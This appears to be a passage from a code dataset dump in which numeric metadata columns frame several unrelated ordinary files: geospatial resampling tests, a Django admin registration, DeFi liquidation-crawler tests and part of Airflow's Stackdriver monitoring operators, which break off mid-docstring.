| 0.005089
| 0.000328
| 0.040381
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
db774f11ade5e18a04314980341f2c5d49bec6e4
| 3,165
|
py
|
Python
|
tests/test_resample_n.py
|
TerraFusion/pytaf
|
e121ed340a4b757e36c246aa20056a669d29613d
|
[
"Apache-2.0"
] | 2
|
2019-05-04T02:24:23.000Z
|
2020-10-28T08:53:53.000Z
|
tests/test_resample_n.py
|
TerraFusion/pytaf
|
e121ed340a4b757e36c246aa20056a669d29613d
|
[
"Apache-2.0"
] | 5
|
2018-05-24T16:50:06.000Z
|
2019-04-20T02:03:50.000Z
|
tests/test_resample_n.py
|
TerraFusion/pytaf
|
e121ed340a4b757e36c246aa20056a669d29613d
|
[
"Apache-2.0"
] | 1
|
2020-02-11T23:54:05.000Z
|
2020-02-11T23:54:05.000Z
|
from unittest import TestCase
import pytaf
import numpy as np
class TestResampleN(TestCase):
# Both source and target are 1-d.
def test_resample_n_1d(self):
slat = np.arange(12, dtype=np.float64)
slon = np.arange(12, dtype=np.float64)
sdata = slat * -333
tlat = np.arange(12, dtype=np.float64)
tlon = np.arange(12, dtype=np.float64)
r = 5555
g = pytaf.resample_n(slat, slon, tlat, tlon, sdata, r)
h = np.array([-0., -333., -666., -999.,
-1332., -1665., -1998.,-2331.,
-999., -2997., -3330., -3663.])
try:
np.testing.assert_array_equal(g, h)
res = True
except AssertionError as err:
res = False
print(err)
self.assertTrue(res)
# Both source and target are 2-d.
def test_resample_n_2d(self):
slat = np.arange(12, dtype=np.float64).reshape((3,4))
slon = np.arange(12, dtype=np.float64).reshape((3,4))
sdata = slat * -333
tlat = np.arange(12, dtype=np.float64).reshape((3,4))
tlon = np.arange(12, dtype=np.float64).reshape((3,4))
r = 5555
g = pytaf.resample_n(slat, slon, tlat, tlon, sdata, r)
h = np.array([[-0., -333., -666., -999.],
[-1332., -1665., -1998.,-2331.],
[-999, -2997., -3330., -3663.]])
try:
np.testing.assert_array_equal(g, h)
res = True
except AssertionError as err:
res = False
print(err)
self.assertTrue(res)
# Source is 2-d and target is 1-d.
def test_resample_n_2d_to_1d(self):
slat = np.arange(12, dtype=np.float64).reshape((3,4))
slon = np.arange(12, dtype=np.float64).reshape((3,4))
sdata = slat * -333
tlat = np.arange(12, dtype=np.float64)
tlon = np.arange(12, dtype=np.float64)
r = 5555
g = pytaf.resample_n(slat, slon, tlat, tlon, sdata, r)
h = np.array([-0., -333., -666., -999.,
-1332., -1665., -1998.,-2331.,
-999., -2997., -3330., -3663.])
try:
np.testing.assert_array_equal(g, h)
res = True
except AssertionError as err:
res = False
print(err)
self.assertTrue(res)
# Source is 1-d and target is 2-d.
def test_resample_n_1d_to_2d(self):
slat = np.arange(12, dtype=np.float64)
slon = np.arange(12, dtype=np.float64)
sdata = slat * -333
tlat = np.arange(12, dtype=np.float64).reshape((3,4))
tlon = np.arange(12, dtype=np.float64).reshape((3,4))
r = 5555
g = pytaf.resample_n(slat, slon, tlat, tlon, sdata, r)
h = np.array([[-0., -333., -666., -999.],
[-1332., -1665., -1998.,-2331.],
[-999, -2997., -3330., -3663.]])
try:
np.testing.assert_array_equal(g, h)
res = True
except AssertionError as err:
res = False
print(err)
self.assertTrue(res)
| 35.561798
| 62
| 0.508057
| 413
| 3,165
| 3.825666
| 0.162228
| 0.081013
| 0.101266
| 0.151899
| 0.931646
| 0.903797
| 0.855696
| 0.855696
| 0.855696
| 0.850633
| 0
| 0.136604
| 0.343128
| 3,165
| 88
| 63
| 35.965909
| 0.623377
| 0.040758
| 0
| 0.894737
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.157895
| 1
| 0.052632
| false
| 0
| 0.039474
| 0
| 0.105263
| 0.052632
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
db938a8e4ec28a338edbf0c5ecde9b98dcc5b7a7
| 177
|
py
|
Python
|
accounts/admin.py
|
Vishesh-Conbi/Chatbot
|
c6a966eb1947064eeffe1a1722d672ca560377bd
|
[
"MIT"
] | null | null | null |
accounts/admin.py
|
Vishesh-Conbi/Chatbot
|
c6a966eb1947064eeffe1a1722d672ca560377bd
|
[
"MIT"
] | null | null | null |
accounts/admin.py
|
Vishesh-Conbi/Chatbot
|
c6a966eb1947064eeffe1a1722d672ca560377bd
|
[
"MIT"
] | null | null | null |
from django.contrib import admin
from .models import AD_User
from .models import AD_Admin
# Register your models here.
admin.site.register(AD_User)
admin.site.register(AD_Admin)
| 29.5
| 32
| 0.824859
| 29
| 177
| 4.896552
| 0.413793
| 0.140845
| 0.225352
| 0.253521
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.101695
| 177
| 6
| 33
| 29.5
| 0.893082
| 0.146893
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.6
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
db9a4f966e0ecee326d5086d2978ddb5ff9ba206
| 7,499
|
py
|
Python
|
tests/int/test_liquidations.py
|
keyko-io/defi-crawler-py
|
132fd0a4f4e72cebafd40a884a882d184d9dfb5a
|
[
"Apache-2.0"
] | 45
|
2021-05-08T03:01:52.000Z
|
2022-03-21T05:50:45.000Z
|
tests/int/test_liquidations.py
|
vv111y/defi-crawler-py
|
135b3d4a89e9382b9f428f35c3fe7432ec03e581
|
[
"Apache-2.0"
] | 22
|
2021-04-07T13:52:58.000Z
|
2022-03-29T22:01:36.000Z
|
tests/int/test_liquidations.py
|
keyko-io/defi-crawler-py
|
132fd0a4f4e72cebafd40a884a882d184d9dfb5a
|
[
"Apache-2.0"
] | 15
|
2021-06-25T16:06:15.000Z
|
2022-02-23T02:36:54.000Z
|
from deficrawler.lending import Lending
def test_liquidation_aave_2_eth():
aave = Lending(protocol="Aave", chain="Ethereum", version=2)
liquidations = aave.get_data_from_date_range(
'21/04/2021 05:20:01', '22/04/2021 06:22:01', "liquidation")
assert(liquidations[0]['tx_id'] != "")
assert(liquidations[0]['protocol'] == "Aave")
assert(liquidations[0]['chain'] == "Ethereum")
assert(liquidations[0]['version'] == 2)
assert(liquidations[0]['user'] != "")
assert(liquidations[0]['token_principal'] != "")
assert(liquidations[0]['token_collateral'] != "")
assert(liquidations[0]['amount_principal'] > 0)
assert(liquidations[0]['amount_collateral'] > 0)
assert(liquidations[0]['liquidator'] != "")
assert(liquidations[0]['timestamp'] > 0)
def test_liquidation_aave_2_eth_user():
aave = Lending(protocol="Aave", chain="Ethereum", version=2)
liquidations = aave.get_data_from_date_range(
'21/04/2021 05:20:01', '24/04/2021 06:22:01', "liquidation", "0xcfd873f19a86b84cfc4916e8623f2486dc83d792")
for liquidation in liquidations:
assert(liquidation['user'] ==
"0xcfd873f19a86b84cfc4916e8623f2486dc83d792")
def test_liquidation_aave_2_polygon():
aave = Lending(protocol="Aave", chain="Polygon", version=2)
liquidations = aave.get_data_from_date_range(
'10/05/2021 00:00:01', '11/05/2021 00:01:10', "liquidation")
assert(liquidations[0]['tx_id'] != "")
assert(liquidations[0]['protocol'] == "Aave")
assert(liquidations[0]['chain'] == "Polygon")
assert(liquidations[0]['version'] == 2)
assert(liquidations[0]['user'] != "")
assert(liquidations[0]['token_principal'] != "")
assert(liquidations[0]['token_collateral'] != "")
assert(liquidations[0]['amount_principal'] > 0)
assert(liquidations[0]['amount_collateral'] > 0)
assert(liquidations[0]['liquidator'] != "")
assert(liquidations[0]['timestamp'] > 0)
def test_liquidation_aave_2_avalanche():
aave = Lending(protocol="Aave", chain="Avalanche", version=2)
liquidations = aave.get_data_from_date_range(
'10/10/2021 00:00:01', '18/10/2021 00:01:10', "liquidation")
assert(liquidations[0]['tx_id'] != "")
assert(liquidations[0]['protocol'] == "Aave")
assert(liquidations[0]['chain'] == "Avalanche")
assert(liquidations[0]['version'] == 2)
assert(liquidations[0]['user'] != "")
assert(liquidations[0]['token_principal'] != "")
assert(liquidations[0]['token_collateral'] != "")
assert(liquidations[0]['amount_principal'] > 0)
assert(liquidations[0]['amount_collateral'] > 0)
assert(liquidations[0]['liquidator'] != "")
assert(liquidations[0]['timestamp'] > 0)
def test_liquidation_aave_2_polygon_user():
aave = Lending(protocol="Aave", chain="Polygon", version=2)
liquidations = aave.get_data_from_date_range(
'10/05/2021 00:00:01', '14/05/2021 00:01:10', "liquidation", "0x573bcd1d82b5bb799c5340e8f7077a4676f95097")
for liquidation in liquidations:
assert(liquidation['user'] ==
"0x573bcd1d82b5bb799c5340e8f7077a4676f95097")
def test_liquidation_compound_2_eth():
compound = Lending(protocol="Compound", chain="Ethereum", version=2)
liquidations = compound.get_data_from_date_range(
'09/05/2021 00:00:01', '11/05/2021 00:01:10', "liquidation")
assert(liquidations[0]['tx_id'] != "")
assert(liquidations[0]['protocol'] == "Compound")
assert(liquidations[0]['chain'] == "Ethereum")
assert(liquidations[0]['version'] == 2)
assert(liquidations[0]['user'] != "")
assert(liquidations[0]['token_principal'] != "")
assert(liquidations[0]['token_collateral'] != "")
assert(float(liquidations[0]['amount_principal']) > 0)
assert(float(liquidations[0]['amount_collateral']) > 0)
assert(liquidations[0]['liquidator'] != "")
assert(liquidations[0]['timestamp'] > 0)
def test_liquidation_compound_2_eth_user():
compound = Lending(protocol="Compound", chain="Ethereum", version=2)
liquidations = compound.get_data_from_date_range(
'09/05/2021 00:00:01', '14/05/2021 00:01:10', "liquidation", "0xa507b355d6288a232ac692dad36af80ff1eba062")
for liquidation in liquidations:
assert(liquidation['user'] ==
"0xa507b355d6288a232ac692dad36af80ff1eba062")
def test_liquidation_cream_2_eth():
cream = Lending(protocol="Cream", chain="Ethereum", version=2)
liquidations = cream.get_data_from_date_range(
'01/05/2021 00:00:01', '12/05/2021 11:54:10', "liquidation")
assert(liquidations[0]['tx_id'] != "")
assert(liquidations[0]['protocol'] == "Cream")
assert(liquidations[0]['chain'] == "Ethereum")
assert(liquidations[0]['version'] == 2)
assert(liquidations[0]['user'] != "")
assert(liquidations[0]['token_principal'] != "")
assert(liquidations[0]['token_collateral'] != "")
assert(float(liquidations[0]['amount_principal']) > 0)
assert(float(liquidations[0]['amount_collateral']) > 0)
assert(liquidations[0]['liquidator'] != "")
assert(liquidations[0]['timestamp'] > 0)
def test_liquidation_cream_2_polygon():
cream = Lending(protocol="Cream", chain="Polygon", version=2)
liquidations = cream.get_data_from_date_range(
'25/09/2021 00:00:01', '26/09/2021 11:54:10', "liquidation")
assert(liquidations[0]['tx_id'] != "")
assert(liquidations[0]['protocol'] == "Cream")
assert(liquidations[0]['chain'] == "Polygon")
assert(liquidations[0]['version'] == 2)
assert(liquidations[0]['user'] != "")
assert(liquidations[0]['token_principal'] != "")
assert(liquidations[0]['token_collateral'] != "")
assert(float(liquidations[0]['amount_principal']) > 0)
assert(float(liquidations[0]['amount_collateral']) > 0)
assert(liquidations[0]['liquidator'] != "")
assert(liquidations[0]['timestamp'] > 0)
def test_liquidation_cream_2_eth_user():
cream = Lending(protocol="Cream", chain="Ethereum", version=2)
liquidations = cream.get_data_from_date_range(
'01/05/2021 00:00:01', '14/05/2021 11:54:10', "liquidation","0xcb774b92587f1c19e960eaeb6902d97e2cabd6be")
for liquidation in liquidations:
assert(liquidation['user'] ==
"0xcb774b92587f1c19e960eaeb6902d97e2cabd6be")
def test_liquidation_cream_2_bsc():
cream = Lending(protocol="Cream", chain="bsc", version=2)
liquidations = cream.get_data_from_date_range(
'01/05/2021 00:00:01', '12/05/2021 11:54:10', "liquidation")
assert(liquidations[0]['tx_id'] != "")
assert(liquidations[0]['protocol'] == "Cream")
assert(liquidations[0]['chain'] == "bsc")
assert(liquidations[0]['version'] == 2)
assert(liquidations[0]['user'] != "")
assert(liquidations[0]['token_principal'] != "")
assert(liquidations[0]['token_collateral'] != "")
assert(float(liquidations[0]['amount_principal']) > 0)
assert(float(liquidations[0]['amount_collateral']) > 0)
assert(liquidations[0]['liquidator'] != "")
assert(liquidations[0]['timestamp'] > 0)
def test_liquidation_cream_2_bsc_user():
cream = Lending(protocol="Cream", chain="bsc", version=2)
liquidations = cream.get_data_from_date_range(
'01/05/2021 00:00:01', '14/05/2021 11:54:10', "liquidation", "0x0825602e9d177b51af7d79acbdc68a746bc41ce4")
for liquidation in liquidations:
assert(liquidation['user'] ==
"0x0825602e9d177b51af7d79acbdc68a746bc41ce4")
| 41.893855
| 114
| 0.669289
| 856
| 7,499
| 5.704439
| 0.07243
| 0.204997
| 0.268482
| 0.06881
| 0.889003
| 0.875691
| 0.830842
| 0.780668
| 0.780668
| 0.771452
| 0
| 0.113447
| 0.150153
| 7,499
| 178
| 115
| 42.129213
| 0.652754
| 0
| 0
| 0.765957
| 0
| 0
| 0.272303
| 0.056007
| 0
| 0
| 0.056007
| 0
| 0.58156
| 1
| 0.085106
| false
| 0
| 0.007092
| 0
| 0.092199
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 10
|
919afa566dba8031db2eb3e3bf47c2a5f7dd5054
| 42,617
|
py
|
Python
|
airflow/providers/google/cloud/operators/stackdriver.py
|
holly-evans/airflow
|
865406cbab4defd35c95afbf0a8d5987ff7788b1
|
[
"Apache-2.0"
] | 8,092
|
2016-04-27T20:32:29.000Z
|
2019-01-05T07:39:33.000Z
|
airflow/providers/google/cloud/operators/stackdriver.py
|
holly-evans/airflow
|
865406cbab4defd35c95afbf0a8d5987ff7788b1
|
[
"Apache-2.0"
] | 2,961
|
2016-05-05T07:16:16.000Z
|
2019-01-05T08:47:59.000Z
|
airflow/providers/google/cloud/operators/stackdriver.py
|
holly-evans/airflow
|
865406cbab4defd35c95afbf0a8d5987ff7788b1
|
[
"Apache-2.0"
] | 3,546
|
2016-05-04T20:33:16.000Z
|
2019-01-05T05:14:26.000Z
|
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
from typing import TYPE_CHECKING, Optional, Sequence, Tuple, Union
from google.api_core.gapic_v1.method import DEFAULT, _MethodDefault
from google.api_core.retry import Retry
from google.cloud.monitoring_v3 import AlertPolicy, NotificationChannel
from airflow.models import BaseOperator
from airflow.providers.google.cloud.hooks.stackdriver import StackdriverHook
from airflow.providers.google.cloud.links.stackdriver import (
StackdriverNotificationsLink,
StackdriverPoliciesLink,
)
if TYPE_CHECKING:
from airflow.utils.context import Context
class StackdriverListAlertPoliciesOperator(BaseOperator):
"""
Fetches all the Alert Policies identified by the filter passed as
filter parameter. The desired return type can be specified by the
format parameter, the supported formats are "dict", "json" and None
which returns python dictionary, stringified JSON and protobuf
respectively.
.. seealso::
For more information on how to use this operator, take a look at the guide:
:ref:`howto/operator:StackdriverListAlertPoliciesOperator`
:param format_: (Optional) Desired output format of the result. The
supported formats are "dict", "json" and None which returns
python dictionary, stringified JSON and protobuf respectively.
:param filter_: If provided, this field specifies the criteria that must be met by alert
policies to be included in the response.
For more details, see https://cloud.google.com/monitoring/api/v3/sorting-and-filtering.
:param order_by: A comma-separated list of fields by which to sort the result.
Supports the same set of field references as the ``filter`` field. Entries
can be prefixed with a minus sign to sort by the field in descending order.
For more details, see https://cloud.google.com/monitoring/api/v3/sorting-and-filtering.
:param page_size: The maximum number of resources contained in the
underlying API response. If page streaming is performed per-
resource, this parameter does not affect the return value. If page
streaming is performed per-page, this determines the maximum number
of resources in a page.
:param retry: A retry object used to retry requests. If ``None`` is
specified, requests will be retried using a default configuration.
:param timeout: The amount of time, in seconds, to wait
for the request to complete. Note that if ``retry`` is
specified, the timeout applies to each individual attempt.
:param metadata: Additional metadata that is provided to the method.
:param gcp_conn_id: (Optional) The connection ID used to connect to Google
Cloud Platform.
:param project_id: The project to fetch alerts from.
:param delegate_to: The account to impersonate using domain-wide delegation of authority,
if any. For this to work, the service account making the request must have
domain-wide delegation enabled.
:param impersonation_chain: Optional service account to impersonate using short-term
credentials, or chained list of accounts required to get the access_token
of the last account in the list, which will be impersonated in the request.
If set as a string, the account must grant the originating account
the Service Account Token Creator IAM role.
If set as a sequence, the identities from the list must grant
Service Account Token Creator IAM role to the directly preceding identity, with first
account from the list granting this role to the originating account (templated).
"""
template_fields: Sequence[str] = (
'filter_',
'impersonation_chain',
)
operator_extra_links = (StackdriverPoliciesLink(),)
ui_color = "#e5ffcc"
def __init__(
self,
*,
format_: Optional[str] = None,
filter_: Optional[str] = None,
order_by: Optional[str] = None,
page_size: Optional[int] = None,
retry: Union[Retry, _MethodDefault] = DEFAULT,
timeout: Optional[float] = None,
metadata: Sequence[Tuple[str, str]] = (),
gcp_conn_id: str = 'google_cloud_default',
project_id: Optional[str] = None,
delegate_to: Optional[str] = None,
impersonation_chain: Optional[Union[str, Sequence[str]]] = None,
**kwargs,
) -> None:
super().__init__(**kwargs)
self.format_ = format_
self.filter_ = filter_
self.order_by = order_by
self.page_size = page_size
self.retry = retry
self.timeout = timeout
self.metadata = metadata
self.gcp_conn_id = gcp_conn_id
self.project_id = project_id
self.delegate_to = delegate_to
self.impersonation_chain = impersonation_chain
self.hook: Optional[StackdriverHook] = None
def execute(self, context: 'Context'):
self.log.info(
'List Alert Policies: Project id: %s Format: %s Filter: %s Order By: %s Page Size: %s',
self.project_id,
self.format_,
self.filter_,
self.order_by,
self.page_size,
)
if self.hook is None:
self.hook = StackdriverHook(
gcp_conn_id=self.gcp_conn_id,
delegate_to=self.delegate_to,
impersonation_chain=self.impersonation_chain,
)
result = self.hook.list_alert_policies(
project_id=self.project_id,
format_=self.format_,
filter_=self.filter_,
order_by=self.order_by,
page_size=self.page_size,
retry=self.retry,
timeout=self.timeout,
metadata=self.metadata,
)
StackdriverPoliciesLink.persist(
context=context,
operator_instance=self,
project_id=self.project_id or self.hook.project_id,
)
return [AlertPolicy.to_dict(policy) for policy in result]
class StackdriverEnableAlertPoliciesOperator(BaseOperator):
"""
Enables one or more disabled alerting policies identified by filter
parameter. Inoperative in case the policy is already enabled.
.. seealso::
For more information on how to use this operator, take a look at the guide:
:ref:`howto/operator:StackdriverEnableAlertPoliciesOperator`
:param filter_: If provided, this field specifies the criteria that
must be met by alert policies to be enabled.
For more details, see https://cloud.google.com/monitoring/api/v3/sorting-and-filtering.
:param retry: A retry object used to retry requests. If ``None`` is
specified, requests will be retried using a default configuration.
:param timeout: The amount of time, in seconds, to wait
for the request to complete. Note that if ``retry`` is
specified, the timeout applies to each individual attempt.
:param metadata: Additional metadata that is provided to the method.
:param gcp_conn_id: (Optional) The connection ID used to connect to Google
Cloud Platform.
:param project_id: The project in which alert needs to be enabled.
:param delegate_to: The account to impersonate using domain-wide delegation of authority,
if any. For this to work, the service account making the request must have
domain-wide delegation enabled.
:param impersonation_chain: Optional service account to impersonate using short-term
credentials, or chained list of accounts required to get the access_token
of the last account in the list, which will be impersonated in the request.
If set as a string, the account must grant the originating account
the Service Account Token Creator IAM role.
If set as a sequence, the identities from the list must grant
Service Account Token Creator IAM role to the directly preceding identity, with first
account from the list granting this role to the originating account (templated).
"""
ui_color = "#e5ffcc"
template_fields: Sequence[str] = (
'filter_',
'impersonation_chain',
)
operator_extra_links = (StackdriverPoliciesLink(),)
def __init__(
self,
*,
filter_: Optional[str] = None,
retry: Union[Retry, _MethodDefault] = DEFAULT,
timeout: Optional[float] = None,
metadata: Sequence[Tuple[str, str]] = (),
gcp_conn_id: str = 'google_cloud_default',
project_id: Optional[str] = None,
delegate_to: Optional[str] = None,
impersonation_chain: Optional[Union[str, Sequence[str]]] = None,
**kwargs,
) -> None:
super().__init__(**kwargs)
self.gcp_conn_id = gcp_conn_id
self.project_id = project_id
self.delegate_to = delegate_to
self.filter_ = filter_
self.retry = retry
self.timeout = timeout
self.metadata = metadata
self.impersonation_chain = impersonation_chain
self.hook: Optional[StackdriverHook] = None
def execute(self, context: 'Context'):
self.log.info('Enable Alert Policies: Project id: %s Filter: %s', self.project_id, self.filter_)
if self.hook is None:
self.hook = StackdriverHook(
gcp_conn_id=self.gcp_conn_id,
delegate_to=self.delegate_to,
impersonation_chain=self.impersonation_chain,
)
self.hook.enable_alert_policies(
filter_=self.filter_,
project_id=self.project_id,
retry=self.retry,
timeout=self.timeout,
metadata=self.metadata,
)
StackdriverPoliciesLink.persist(
context=context,
operator_instance=self,
project_id=self.project_id or self.hook.project_id,
)
# Disable Alert Operator
class StackdriverDisableAlertPoliciesOperator(BaseOperator):
"""
Disables one or more enabled alerting policies identified by filter
parameter. Inoperative in case the policy is already disabled.
.. seealso::
For more information on how to use this operator, take a look at the guide:
:ref:`howto/operator:StackdriverDisableAlertPoliciesOperator`
:param filter_: If provided, this field specifies the criteria that
must be met by alert policies to be disabled.
For more details, see https://cloud.google.com/monitoring/api/v3/sorting-and-filtering.
:param retry: A retry object used to retry requests. If ``None`` is
specified, requests will be retried using a default configuration.
:param timeout: The amount of time, in seconds, to wait
for the request to complete. Note that if ``retry`` is
specified, the timeout applies to each individual attempt.
:param metadata: Additional metadata that is provided to the method.
:param gcp_conn_id: (Optional) The connection ID used to connect to Google
Cloud Platform.
:param project_id: The project in which alert needs to be disabled.
:param delegate_to: The account to impersonate using domain-wide delegation of authority,
if any. For this to work, the service account making the request must have
domain-wide delegation enabled.
:param impersonation_chain: Optional service account to impersonate using short-term
credentials, or chained list of accounts required to get the access_token
of the last account in the list, which will be impersonated in the request.
If set as a string, the account must grant the originating account
the Service Account Token Creator IAM role.
If set as a sequence, the identities from the list must grant
Service Account Token Creator IAM role to the directly preceding identity, with first
account from the list granting this role to the originating account (templated).
"""
ui_color = "#e5ffcc"
template_fields: Sequence[str] = (
'filter_',
'impersonation_chain',
)
operator_extra_links = (StackdriverPoliciesLink(),)
def __init__(
self,
*,
filter_: Optional[str] = None,
retry: Union[Retry, _MethodDefault] = DEFAULT,
timeout: Optional[float] = None,
metadata: Sequence[Tuple[str, str]] = (),
gcp_conn_id: str = 'google_cloud_default',
project_id: Optional[str] = None,
delegate_to: Optional[str] = None,
impersonation_chain: Optional[Union[str, Sequence[str]]] = None,
**kwargs,
) -> None:
super().__init__(**kwargs)
self.gcp_conn_id = gcp_conn_id
self.project_id = project_id
self.delegate_to = delegate_to
self.filter_ = filter_
self.retry = retry
self.timeout = timeout
self.metadata = metadata
self.impersonation_chain = impersonation_chain
self.hook: Optional[StackdriverHook] = None
def execute(self, context: 'Context'):
self.log.info('Disable Alert Policies: Project id: %s Filter: %s', self.project_id, self.filter_)
if self.hook is None:
self.hook = StackdriverHook(
gcp_conn_id=self.gcp_conn_id,
delegate_to=self.delegate_to,
impersonation_chain=self.impersonation_chain,
)
self.hook.disable_alert_policies(
filter_=self.filter_,
project_id=self.project_id,
retry=self.retry,
timeout=self.timeout,
metadata=self.metadata,
)
StackdriverPoliciesLink.persist(
context=context,
operator_instance=self,
project_id=self.project_id or self.hook.project_id,
)
class StackdriverUpsertAlertOperator(BaseOperator):
"""
Creates a new alert or updates an existing policy identified
the name field in the alerts parameter.
.. seealso::
For more information on how to use this operator, take a look at the guide:
:ref:`howto/operator:StackdriverUpsertAlertOperator`
:param alerts: A JSON string or file that specifies all the alerts that needs
to be either created or updated. For more details, see
https://cloud.google.com/monitoring/api/ref_v3/rest/v3/projects.alertPolicies#AlertPolicy.
(templated)
:param retry: A retry object used to retry requests. If ``None`` is
specified, requests will be retried using a default configuration.
:param timeout: The amount of time, in seconds, to wait
for the request to complete. Note that if ``retry`` is
specified, the timeout applies to each individual attempt.
:param metadata: Additional metadata that is provided to the method.
:param gcp_conn_id: (Optional) The connection ID used to connect to Google
Cloud Platform.
:param project_id: The project in which alert needs to be created/updated.
:param delegate_to: The account to impersonate using domain-wide delegation of authority,
if any. For this to work, the service account making the request must have
domain-wide delegation enabled.
:param impersonation_chain: Optional service account to impersonate using short-term
credentials, or chained list of accounts required to get the access_token
of the last account in the list, which will be impersonated in the request.
If set as a string, the account must grant the originating account
the Service Account Token Creator IAM role.
If set as a sequence, the identities from the list must grant
Service Account Token Creator IAM role to the directly preceding identity, with first
account from the list granting this role to the originating account (templated).
"""
template_fields: Sequence[str] = (
'alerts',
'impersonation_chain',
)
template_ext: Sequence[str] = ('.json',)
operator_extra_links = (StackdriverPoliciesLink(),)
ui_color = "#e5ffcc"
def __init__(
self,
*,
alerts: str,
retry: Union[Retry, _MethodDefault] = DEFAULT,
timeout: Optional[float] = None,
metadata: Sequence[Tuple[str, str]] = (),
gcp_conn_id: str = 'google_cloud_default',
project_id: Optional[str] = None,
delegate_to: Optional[str] = None,
impersonation_chain: Optional[Union[str, Sequence[str]]] = None,
**kwargs,
) -> None:
super().__init__(**kwargs)
self.alerts = alerts
self.retry = retry
self.timeout = timeout
self.metadata = metadata
self.gcp_conn_id = gcp_conn_id
self.project_id = project_id
self.delegate_to = delegate_to
self.impersonation_chain = impersonation_chain
self.hook: Optional[StackdriverHook] = None
def execute(self, context: 'Context'):
self.log.info('Upsert Alert Policies: Alerts: %s Project id: %s', self.alerts, self.project_id)
if self.hook is None:
self.hook = StackdriverHook(
gcp_conn_id=self.gcp_conn_id,
delegate_to=self.delegate_to,
impersonation_chain=self.impersonation_chain,
)
self.hook.upsert_alert(
alerts=self.alerts,
project_id=self.project_id,
retry=self.retry,
timeout=self.timeout,
metadata=self.metadata,
)
StackdriverPoliciesLink.persist(
context=context,
operator_instance=self,
project_id=self.project_id or self.hook.project_id,
)
class StackdriverDeleteAlertOperator(BaseOperator):
"""
Deletes an alerting policy.
.. seealso::
For more information on how to use this operator, take a look at the guide:
:ref:`howto/operator:StackdriverDeleteAlertOperator`
:param name: The alerting policy to delete. The format is:
``projects/[PROJECT_ID]/alertPolicies/[ALERT_POLICY_ID]``.
:param retry: A retry object used to retry requests. If ``None`` is
specified, requests will be retried using a default configuration.
:param timeout: The amount of time, in seconds, to wait
for the request to complete. Note that if ``retry`` is
specified, the timeout applies to each individual attempt.
:param metadata: Additional metadata that is provided to the method.
:param gcp_conn_id: (Optional) The connection ID used to connect to Google
Cloud Platform.
:param project_id: The project from which alert needs to be deleted.
:param delegate_to: The account to impersonate using domain-wide delegation of authority,
if any. For this to work, the service account making the request must have
domain-wide delegation enabled.
:param impersonation_chain: Optional service account to impersonate using short-term
credentials, or chained list of accounts required to get the access_token
of the last account in the list, which will be impersonated in the request.
If set as a string, the account must grant the originating account
the Service Account Token Creator IAM role.
If set as a sequence, the identities from the list must grant
Service Account Token Creator IAM role to the directly preceding identity, with first
account from the list granting this role to the originating account (templated).
"""
template_fields: Sequence[str] = (
'name',
'impersonation_chain',
)
ui_color = "#e5ffcc"
def __init__(
self,
*,
name: str,
retry: Union[Retry, _MethodDefault] = DEFAULT,
timeout: Optional[float] = None,
metadata: Sequence[Tuple[str, str]] = (),
gcp_conn_id: str = 'google_cloud_default',
project_id: Optional[str] = None,
delegate_to: Optional[str] = None,
impersonation_chain: Optional[Union[str, Sequence[str]]] = None,
**kwargs,
) -> None:
super().__init__(**kwargs)
self.name = name
self.retry = retry
self.timeout = timeout
self.metadata = metadata
self.gcp_conn_id = gcp_conn_id
self.project_id = project_id
self.delegate_to = delegate_to
self.impersonation_chain = impersonation_chain
self.hook: Optional[StackdriverHook] = None
def execute(self, context: 'Context'):
self.log.info('Delete Alert Policy: Project id: %s Name: %s', self.project_id, self.name)
if self.hook is None:
self.hook = StackdriverHook(
gcp_conn_id=self.gcp_conn_id,
delegate_to=self.delegate_to,
impersonation_chain=self.impersonation_chain,
)
self.hook.delete_alert_policy(
name=self.name,
retry=self.retry,
timeout=self.timeout,
metadata=self.metadata,
)
class StackdriverListNotificationChannelsOperator(BaseOperator):
"""
Fetches all the Notification Channels identified by the filter passed as
filter parameter. The desired return type can be specified by the
format parameter, the supported formats are "dict", "json" and None
which returns python dictionary, stringified JSON and protobuf
respectively.
.. seealso::
For more information on how to use this operator, take a look at the guide:
:ref:`howto/operator:StackdriverListNotificationChannelsOperator`
:param format_: (Optional) Desired output format of the result. The
supported formats are "dict", "json" and None which returns
python dictionary, stringified JSON and protobuf respectively.
:param filter_: If provided, this field specifies the criteria that
must be met by notification channels to be included in the response.
For more details, see https://cloud.google.com/monitoring/api/v3/sorting-and-filtering.
:param order_by: A comma-separated list of fields by which to sort the result.
Supports the same set of field references as the ``filter`` field. Entries
can be prefixed with a minus sign to sort by the field in descending order.
